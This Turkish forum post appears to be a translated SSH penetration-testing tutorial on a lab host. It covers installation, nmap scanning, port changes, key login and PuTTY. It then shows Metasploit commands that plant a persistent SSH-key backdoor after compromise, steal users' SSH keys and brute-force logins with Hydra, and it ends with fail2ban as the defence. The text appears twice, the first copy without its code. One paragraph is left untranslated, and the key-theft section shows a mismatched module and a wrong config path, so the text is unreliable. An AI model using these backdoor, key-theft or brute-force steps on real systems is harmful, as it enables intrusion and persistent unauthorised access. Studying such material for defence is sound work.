Tüm açık portlardan denemeler yapmak hacker'ların, hemen hemen saldırılarına hazırlanmasındaki ilk adımıdır. Ve çalışması için de birinin portu açık tutması gerekiyor ama aynı zamanda da hacker korkusuyla tehdit ediliyor. Bu yüzden açık olsalar bile portlarının güvenliğini öğrenmeleri şart. Bu konuda Secure Shell diye de anılan SSH penetrasyon testi işleyeceğiz.
İçindekiler
SSH protokolü, bir bilgisayardan diğerine güvenli ve sağlam bir şekilde uzaktan giriş kurmak için bir tekniktir. Güçlü şifreleme ile koruduğu bağlantıları ve iletişimleri, güvenliği ve bütünlüğü sayesinde güçlü kimlik doğrulama için çeşitli seçenekler sunar. Korumasız giriş protokolleri (misal telnet ve rlogin) ve sağlam olmayan dosya gönderme yöntemleri (misal FTP) için güvenli bir alternatiftir.
It very easy to install and configure ssh service, we can directly install ssh service by using the openssh-server package from ubuntu repo. To install any service you must have root privilege account and then follow the given below command.
SSH hizmetinin kurulumu ve yapılandırması oldukça basittir, ubuntu reposundan direkt olarak openssh-server paketini kurabiliriz. Kurmak için root yetkisi şart tabi, ardından:
Yukarıdaki kodu çalıştırdığınızda varsayılan yapılandırmalı halde paketin kurulumunu yapacaktır. Netstat komutu ile açılan portu kontrol edebilirsiniz.
SSH Port Tarama
Eğer host makineye direkt erişiminiz yoksa, penetrasyon testinin ilk adımı olarak kabul edilen port durumunu uzaktan tespit etmek için nmap kullanın. Penetrasyon testimizi gerçekleştirmek için biz Kali Linux kullanacağız.
Uzak ağdaki açık bir port'u tanımlamak için, yalnızca açık bir port'u tanımlamakla kalmayacak, aynı zamanda hizmetin yüklü sürümünü gösterecek bir afiş kapma gerçekleştirecek olan nmap'in sürüm taramasını kullanacağız.
Terminal Komutu (Linux)
Yetkili kullanıcı olarak uzak makinenizin ssh shell'ine erişmek için aşağıdaki komutu çalıştırın.
Kullanıcı adı: ignite
Parola: 123
Putty (Windows)
Adım 1: putty.exe'yi kurun ve çalıştırın. Sonrasında HOST IP adresi kısmına 192.168.1.103, port kısmına 22 yazın ve Connection type (bağlantı türü) kısmını SSH seçin.
Adım 2: İstemci ve sunucu arasında bir bağlantı kurmak için, giriş gerektiren bir putty oturumu oluşturulmuş olur.
Kullanıcı adı: ignite
Parola: 123
Varsayılan olarak ssh, 22 port'unu dinler. Bu demektir ki eğer saldırgan kişi 22 port'unun açık olduğunu farkederse host makineyle bağlantıya geçmek için 22 port'undan saldırmayı deneyebilir. Bu yüzden sistem admini, yetkili ağdan gelebilecek bağlantı isteklerini almak için varsayılan port'u başka bir port ile değiştirerek Port Redirection veya Mapping yapmayı tercih eder.
Port yönlendirme için aşağıdaki adımları izleyebilirsiniz.
Adım 1: /etc/sshd içindeki sshd_config dosyasını editor kullanarak düzenleyin.
Adım 2: 22 olan port kısmını 2222 olarak değiştirin ve dosyayı kaydedin.
Adım 3: SSH'i yeniden başlatın.
Bu sayede 22 port'unda tarama başlattığımızda ssh için port durumunun kapalı olduğunu ama altındaki kısımda 2222 port'unda açık olduğu görebilirsiniz.
Güçlü parolalar, sunucuyu güvenli tutmak için yeterli görünmüyor çünkü brute force saldırısıyla aşılabilecek bir durum. İşte bu yüzden SSH sunucusunun güvenliği için ek bir güvenlik yöntemine ihtiyaç duyuyoruz.
SSH anahtar çifti, istemcinin sunucuya kimlik doğrulaması için gerekli ek bir özelliktir. Uzun bir karakter dizininden meydana gelmektedir: biri açık biri de özel anahtar. Sunucu kısmına açık anahtarı, istemci makinesine de özel anahtarı girersiniz ve istemci makinesinin özel anahtarıyla bağlanarak sunucunun kilidini açarsınız. Anahtarlar eşleştiği vakit, sistem size parola girmenize gerek kalmadan otomatik olarak bir SSH oturumu kurmanız için izin veriyor.
Ssh-keygen, SSH için yeni kimlik doğrulama anahtar çiftleri oluşturmak için kullanılan bir tool'dur. Bu tür anahtar çiftleri; otomatik oturum açma, tekli oturum açma ve host kimlik doğrulaması için kullanılır.
Bir anahtar çifti oluşturmak için aşağıdaki adımları izleyebilirsiniz.
Adım 1: Ubuntu host makinesinde bir ssh anahtar çifti (id_rsa and id_rsa.pub) oluşturmak için aşağıda verilen komutu girin.
Adım 2: Aynı işlem istemcide de yapılmalı ki host makine ile bağlantı kurmak için gerekli doğrulama işlemi yapılabilinsin.
Adım 3: Ssh anahtar çiftini (id_rsa and id_rsa.pub) oluşturduktan sonra id_rsa.pub kısmını authorized_keys olarak yeniden adlandırın.
Adım 4: .ssh dizinine kopyalayarak authorized_keys'i host makine ile paylaşın.
Adım 5: /etc/sshd içindeki sshd_config dosyasını editor kullanarak düzenleyin.
Adım 6: passwordauthentication no kısmını yes yerine no yapın.
Sonuç olarak sadece rsa anahtarı olan yetkili makine, host ile şifre kullanmadan bağlantı kurabilecek.
Böylece ssh sunucusuna parola ve kullanıcı adı ile bağlanmanız gerekirse sadece yetkili anahtarı olan isteği doğrulayacağından sunucu sizin bağlantı isteğinizi düşürecektir.
Adım 7: Windows'da yetkili anahtar kullanarak bağlantı kurabilmek için id_rsa anahtarını Kali Linux'tan Windows'a kopyalayın.
Adım 8: puttygen.exe'yi kurun.
Adım 9: puttygen.exe'yi çalıştırın, id_rsa yükleyin ve "save as key" butonundan "Key" adında kaydedin
Adım 10: Hostname kısmına 192.168.1.103 ve port kısmına da 22 girerek host makine ile bağlantı kurmak için putty.exe'yi kullanın.
Adım 11: SSH -> Auth kısmına gelin ve browse diyerek adım 9'da bahsedilen kaydettiğimiz anahtarı seçin.
Bu yöntem ile Windows istemci ve sunucu arasında parola kullanımı gerektirmeden ssh bağlantısı kurabilirsiniz.
SSH Key Persistence - Post Exploitation
Host makineden taviz vererek bir meterpreter oturumu edindiğiniz ve bir dahaki sefere ters bağlantı sağlayacak kalıcı bir backdoor bırakmak istediğinizi düşünün.
Bu olay, host makinede port 22 açık ise, SSH Key Persistence-a post exploit adındaki Métasploit modülünün yardımı ile gerçekleştirilebilir.
Bu modül, belirli bir kullanıcıya (veya hepsine) bir SSH anahtarı ekleyecek ve SSH ile kurbana istediğiniz zaman uzaktan bağlanabileceksiniz.
Resimde de görebileceğiniz üzere /home/ignite/.ssh kısmına yetkili anahtarlar ekledi ve /root/.msf4/loot içine de özel bir anahtar depoladı.
Bunu host bilgisayar makinesini 22 numaralı port üzerinden bağlayarak ve burada oluşturulan özel bir anahtar kullanarak bağladığımız için, private kısmını key olarak yeniden adlandırdım ve 600 izni verdim.
Bu kadar basit! Herhangi bir yığılma olmadan çalışıyor ve bu yolla ssh anahtarını kalıcı bir backdoor olarak kullanabiliriz de.
SSH Anahtarını Çalma
Host makineden taviz vererek bir meterpreter oturumu aldığınızı, 22 port'unun ssh için açık olduğunu ve SSH açık anahtarını ve yetkili anahtarını çalmak istediğinizi düşünün. Bu olay Multi Gather OpenSSH PKI Credentials Collection -a post exploit isimli modül ile gerçekleştirilebilir.
Bu modül, hedef makinede tüm kullanıcıların .ssh dizinlerinin içeriğini toplayacak. Buna ek olaraktan known_hosts, authorized_keys ve diğer dosyaları da indirecek. Bu modül birçok açıdan firefox_creds.rb modülüne dayanır.
Bu, aşağıdaki komutu çalıştırarak meterpreter oturumunda daha da güncelleştirilebilen bir komut oturumu verecektir.
SSH Parola Crack'leme
SSH'de penetrasyon testi yaparken parolayı tahmin etmek veya eşik politikasını test etmek için ssh'e brute force saldırısını deneyebiliriz. Bize gereken birer kullanıcı adı ve parola listeleri. Elimizde, kullanıcı adı listesi olan user.txt ve parola listesi olan pass.txt var. Hydra yardımı ile brute force saldırısını gerçekleştirebiliriz.
Sonuçta görebileceğiniz üzere host makinede brute force saldırısına karşın herhangi bir savunma mekanizması bulunmamakta ve biz de ssh bilgilerini çekebilmekteyiz.
Kendi hizmetinizi brute force saldırısına karşın korumak için bir IPS olan fail2ban kullanabilirsiniz.
Aşağıdaki resimde, bu sefer bir brute force saldırısı açmayı denediğimizde bağlantı isteğimizin düştüğünü görebilirsiniz.
İçindekiler
- SSH'e Giriş
- SSH Kurulumu
- SSH Port Tarama
- SSH'e Bağlanma Yöntemleri
- Terminal Komutu (Linux)
- Putty (Windows)
- Port Yönlendirme
- Port Yönlendirme Testi
- RSA Anahtarı Kullanarak SSH Bağlantısı Kurma
- Métasploit ile SSH Exploit'leme
- SSH Key Persistence - Post Exploitation
- SSH Anahtarını Çalma
- Pubkey kullanarak SSH Login
- SSH Parola Crack'leme
Secure Shell'e Giriş
SSH protokolü, bir bilgisayardan diğerine güvenli ve sağlam bir şekilde uzaktan giriş kurmak için bir tekniktir. Güçlü şifreleme ile koruduğu bağlantıları ve iletişimleri, güvenliği ve bütünlüğü sayesinde güçlü kimlik doğrulama için çeşitli seçenekler sunar. Korumasız giriş protokolleri (misal telnet ve rlogin) ve sağlam olmayan dosya gönderme yöntemleri (misal FTP) için güvenli bir alternatiftir.
SSH Kurulumu
It very easy to install and configure ssh service, we can directly install ssh service by using the openssh-server package from ubuntu repo. To install any service you must have root privilege account and then follow the given below command.
SSH hizmetinin kurulumu ve yapılandırması oldukça basittir, ubuntu reposundan direkt olarak openssh-server paketini kurabiliriz. Kurmak için root yetkisi şart tabi, ardından:
Kod:
[COLOR="white"]apt install openssh-server[/COLOR]
Yukarıdaki kodu çalıştırdığınızda varsayılan yapılandırmalı halde paketin kurulumunu yapacaktır. Netstat komutu ile açılan portu kontrol edebilirsiniz.
SSH Port Tarama
Eğer host makineye direkt erişiminiz yoksa, penetrasyon testinin ilk adımı olarak kabul edilen port durumunu uzaktan tespit etmek için nmap kullanın. Penetrasyon testimizi gerçekleştirmek için biz Kali Linux kullanacağız.
Uzak ağdaki açık bir port'u tanımlamak için, yalnızca açık bir port'u tanımlamakla kalmayacak, aynı zamanda hizmetin yüklü sürümünü gösterecek bir afiş kapma gerçekleştirecek olan nmap'in sürüm taramasını kullanacağız.
Kod:
[COLOR="white"]nmap -sV -p22 192.168.1.103[/COLOR]
SSH'e Bağlanma Yöntemleri
Terminal Komutu (Linux)
Yetkili kullanıcı olarak uzak makinenizin ssh shell'ine erişmek için aşağıdaki komutu çalıştırın.
Kullanıcı adı: ignite
Parola: 123
Kod:
[COLOR="white"]ssh [email protected][/COLOR]
Putty (Windows)
Adım 1: putty.exe'yi kurun ve çalıştırın. Sonrasında HOST IP adresi kısmına 192.168.1.103, port kısmına 22 yazın ve Connection type (bağlantı türü) kısmını SSH seçin.
Adım 2: İstemci ve sunucu arasında bir bağlantı kurmak için, giriş gerektiren bir putty oturumu oluşturulmuş olur.
Kullanıcı adı: ignite
Parola: 123
Port Yönlendirme
Varsayılan olarak ssh, 22 port'unu dinler. Bu demektir ki eğer saldırgan kişi 22 port'unun açık olduğunu farkederse host makineyle bağlantıya geçmek için 22 port'undan saldırmayı deneyebilir. Bu yüzden sistem admini, yetkili ağdan gelebilecek bağlantı isteklerini almak için varsayılan port'u başka bir port ile değiştirerek Port Redirection veya Mapping yapmayı tercih eder.
Port yönlendirme için aşağıdaki adımları izleyebilirsiniz.
Adım 1: /etc/sshd içindeki sshd_config dosyasını editor kullanarak düzenleyin.
Kod:
[COLOR="white"]nano /etc/sshd/sshd_config[/COLOR]
Adım 2: 22 olan port kısmını 2222 olarak değiştirin ve dosyayı kaydedin.
Adım 3: SSH'i yeniden başlatın.
Port Yönlendirme Testi
Bu sayede 22 port'unda tarama başlattığımızda ssh için port durumunun kapalı olduğunu ama altındaki kısımda 2222 port'unda açık olduğu görebilirsiniz.
RSA Anahtarı Kullanarak SSH Bağlantısı Kurma
Güçlü parolalar, sunucuyu güvenli tutmak için yeterli görünmüyor çünkü brute force saldırısıyla aşılabilecek bir durum. İşte bu yüzden SSH sunucusunun güvenliği için ek bir güvenlik yöntemine ihtiyaç duyuyoruz.
SSH anahtar çifti, istemcinin sunucuya kimlik doğrulaması için gerekli ek bir özelliktir. Uzun bir karakter dizininden meydana gelmektedir: biri açık biri de özel anahtar. Sunucu kısmına açık anahtarı, istemci makinesine de özel anahtarı girersiniz ve istemci makinesinin özel anahtarıyla bağlanarak sunucunun kilidini açarsınız. Anahtarlar eşleştiği vakit, sistem size parola girmenize gerek kalmadan otomatik olarak bir SSH oturumu kurmanız için izin veriyor.
Ssh-keygen, SSH için yeni kimlik doğrulama anahtar çiftleri oluşturmak için kullanılan bir tool'dur. Bu tür anahtar çiftleri; otomatik oturum açma, tekli oturum açma ve host kimlik doğrulaması için kullanılır.
Bir anahtar çifti oluşturmak için aşağıdaki adımları izleyebilirsiniz.
Adım 1: Ubuntu host makinesinde bir ssh anahtar çifti (id_rsa and id_rsa.pub) oluşturmak için aşağıda verilen komutu girin.
Kod:
[COLOR="white"]ssh-keygen[/COLOR]
Adım 2: Aynı işlem istemcide de yapılmalı ki host makine ile bağlantı kurmak için gerekli doğrulama işlemi yapılabilinsin.
Adım 3: Ssh anahtar çiftini (id_rsa and id_rsa.pub) oluşturduktan sonra id_rsa.pub kısmını authorized_keys olarak yeniden adlandırın.
Adım 4: .ssh dizinine kopyalayarak authorized_keys'i host makine ile paylaşın.
Adım 5: /etc/sshd içindeki sshd_config dosyasını editor kullanarak düzenleyin.
Kod:
[COLOR="white"]nano /etc/sshd/sshd_config[/COLOR]
Adım 6: passwordauthentication no kısmını yes yerine no yapın.
Sonuç olarak sadece rsa anahtarı olan yetkili makine, host ile şifre kullanmadan bağlantı kurabilecek.
Böylece ssh sunucusuna parola ve kullanıcı adı ile bağlanmanız gerekirse sadece yetkili anahtarı olan isteği doğrulayacağından sunucu sizin bağlantı isteğinizi düşürecektir.
Adım 7: Windows'da yetkili anahtar kullanarak bağlantı kurabilmek için id_rsa anahtarını Kali Linux'tan Windows'a kopyalayın.
Adım 8: puttygen.exe'yi kurun.
Adım 9: puttygen.exe'yi çalıştırın, id_rsa yükleyin ve "save as key" butonundan "Key" adında kaydedin
Adım 10: Hostname kısmına 192.168.1.103 ve port kısmına da 22 girerek host makine ile bağlantı kurmak için putty.exe'yi kullanın.
Adım 11: SSH -> Auth kısmına gelin ve browse diyerek adım 9'da bahsedilen kaydettiğimiz anahtarı seçin.
Bu yöntem ile Windows istemci ve sunucu arasında parola kullanımı gerektirmeden ssh bağlantısı kurabilirsiniz.
Métasploit ile SSH Exploit'leme
SSH Key Persistence - Post Exploitation
Host makineden taviz vererek bir meterpreter oturumu edindiğiniz ve bir dahaki sefere ters bağlantı sağlayacak kalıcı bir backdoor bırakmak istediğinizi düşünün.
Bu olay, host makinede port 22 açık ise, SSH Key Persistence-a post exploit adındaki Métasploit modülünün yardımı ile gerçekleştirilebilir.
Bu modül, belirli bir kullanıcıya (veya hepsine) bir SSH anahtarı ekleyecek ve SSH ile kurbana istediğiniz zaman uzaktan bağlanabileceksiniz.
Kod:
[COLOR="white"]use post/linux/manage/sshkey_persistence
msf post(sshkey_persistence) > set session 1
msf post(sshkey_persistence) >exploit[/COLOR]
Resimde de görebileceğiniz üzere /home/ignite/.ssh kısmına yetkili anahtarlar ekledi ve /root/.msf4/loot içine de özel bir anahtar depoladı.
Bunu host bilgisayar makinesini 22 numaralı port üzerinden bağlayarak ve burada oluşturulan özel bir anahtar kullanarak bağladığımız için, private kısmını key olarak yeniden adlandırdım ve 600 izni verdim.
Kod:
[COLOR="white"]chmod 600 key
ssh -i key [email protected][/COLOR]
Bu kadar basit! Herhangi bir yığılma olmadan çalışıyor ve bu yolla ssh anahtarını kalıcı bir backdoor olarak kullanabiliriz de.
SSH Anahtarını Çalma
Host makineden taviz vererek bir meterpreter oturumu aldığınızı, 22 port'unun ssh için açık olduğunu ve SSH açık anahtarını ve yetkili anahtarını çalmak istediğinizi düşünün. Bu olay Multi Gather OpenSSH PKI Credentials Collection -a post exploit isimli modül ile gerçekleştirilebilir.
Bu modül, hedef makinede tüm kullanıcıların .ssh dizinlerinin içeriğini toplayacak. Buna ek olaraktan known_hosts, authorized_keys ve diğer dosyaları da indirecek. Bu modül birçok açıdan firefox_creds.rb modülüne dayanır.
Kod:
[COLOR="white"]use auxillary/scanner/ssh /ssh_login_pubkey
auxiliary (scanner/ssh /ssh_login_pubkey)>set rhosts 192.168.1.103
auxiliary (scanner/ssh /ssh_login_pubkey)>set username ignite
auxiliary (scanner/ssh /ssh_login_pubkey)>set key_path /root/.ssh/id_rsa
auxiliary (scanner/ssh /ssh_login_pubkey)>exploit[/COLOR]
Bu, aşağıdaki komutu çalıştırarak meterpreter oturumunda daha da güncelleştirilebilen bir komut oturumu verecektir.
Kod:
[COLOR="white"]sessions -u 1[/COLOR]
SSH Parola Crack'leme
SSH'de penetrasyon testi yaparken parolayı tahmin etmek veya eşik politikasını test etmek için ssh'e brute force saldırısını deneyebiliriz. Bize gereken birer kullanıcı adı ve parola listeleri. Elimizde, kullanıcı adı listesi olan user.txt ve parola listesi olan pass.txt var. Hydra yardımı ile brute force saldırısını gerçekleştirebiliriz.
Kod:
[COLOR="white"]hydra -L user.txt -P pass.txt 192.168.1.103 ssh[/COLOR]
Sonuçta görebileceğiniz üzere host makinede brute force saldırısına karşın herhangi bir savunma mekanizması bulunmamakta ve biz de ssh bilgilerini çekebilmekteyiz.
Kendi hizmetinizi brute force saldırısına karşın korumak için bir IPS olan fail2ban kullanabilirsiniz.
Aşağıdaki resimde, bu sefer bir brute force saldırısı açmayı denediğimizde bağlantı isteğimizin düştüğünü görebilirsiniz.
Moderatör tarafında düzenlendi: